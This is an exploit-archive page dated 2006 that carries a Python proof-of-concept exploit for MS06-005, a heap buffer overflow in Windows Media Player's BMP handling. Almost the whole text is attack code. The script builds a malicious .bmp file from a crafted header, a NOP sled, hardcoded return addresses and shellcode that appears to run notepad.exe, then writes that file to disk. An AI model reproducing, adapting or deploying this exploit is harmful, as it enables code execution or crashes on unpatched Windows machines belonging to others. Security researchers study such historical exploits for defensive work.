exploits , vulnerabilities , articles , Microsoft Windows Media Player BMP Handling Buffer Overflow Exploit (MS06-005) #2

Rated as : Critical 
Note : Proof of concept

# sploit creater by redsand@blacksecurity.org
# ms06-005 advisory proof of concept
# heap overflow in wmf.dll @ 0x0035920a
# denial of service, cuz we can't get this to play nice

#shamelessly stolen from CANVAS code
def intel_order(i):
str=""
a=chr(i % 256)
i=i >> 8
b=chr(i % 256)
i=i >> 8
c=chr(i % 256)
i=i >> 8
d=chr(i % 256)

str+="%c%c%c%c" % (a,b,c,d)

return str

def stroverwrite(instring,overwritestring,offset):
head=instring[:offset]
#print head
tail=instring[offset+len(overwritestring):]
#print tail
result=head+overwritestring+tail
return result


#options
#SEH HAndle

#anything with a call/jmp edi/ecx + 4 or more
EIP=0x75e1692c # call edi +20 for win2k pro eng in oleaut
DUMMY=0xccccccccL
filename = "rbl4ck-06-005.bmp"

header =
"\x42\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x28\x00"
header +=
"\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x04\x00\x00\x00"
header +=
"\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x01\x00\x04\x00\x00\x00"
header += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xCC"

c0de = "\x90" * 350
c0de += "\xCD\x03" 
c0de += "\xEB\x61\x56\x6A\x30\x59\x64\x8B\x01\x8B\x40\x0C"
c0de += "\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\xC3\x60\x8B\x6C"
c0de += "\x24\x24\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B"
c0de += "\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x34\x49\x8B\x34"
c0de += "\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74"
c0de += "\x07\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28"
c0de += "\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B"
c0de += "\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\x89\x44\x24"
c0de += "\x1C\x61\xC3\xE8\x9A\xFF\xFF\xFF\x68\x98\xFE\x8A"
c0de += "\x0E\x50\xE8\xA2\xFF\xFF\xFF\xEB\x02\xEB\x05\xE8"
c0de += "\xF9\xFF\xFF\xFF\x5B\x83\xC3\x1C\x33\xC9\x88\x0B"
c0de += "\x83\xEB\x0B\x41\x51\x53\xFF\xD0\x90\x6E\x6F\x74"
c0de += "\x65\x70\x61\x64\x2E\x65\x78\x65\x01"
#tag
c0de += "0wn3dbyr3ds4nd"

for on in range(256):
c0de += intel_order(EIP-80)

body = ""
r=0x88888800L
for on in range(235):
r+=0x01L
body += intel_order(r)


body += c0de

body = stroverwrite(body,intel_order(EIP-4),56)
body = stroverwrite(body,intel_order(EIP),96)
body = stroverwrite(body,intel_order(EIP),160)
body = stroverwrite(body,intel_order(EIP-0x3c),708)
body = stroverwrite(body,intel_order(EIP),828)
body = stroverwrite(body,intel_order(EIP),868)
body = stroverwrite(body,intel_order(EIP),936)
#
#here's our call eax+4
body = stroverwrite(body,intel_order(EIP-4),948)
#
#
body = stroverwrite(body,intel_order(EIP),300)

print "MS06-005 Heap Overflow by redsand [at]
blacksecurity.org"
print "Writing filename " + filename + "..."

try: 
fsock = open(filename, "wb+", 0) 
try: 
fsock.write(header + body ); 
finally: 
fsock.close()
except IOError: 
pass


print "success."
securitydot.net - 2006-02-16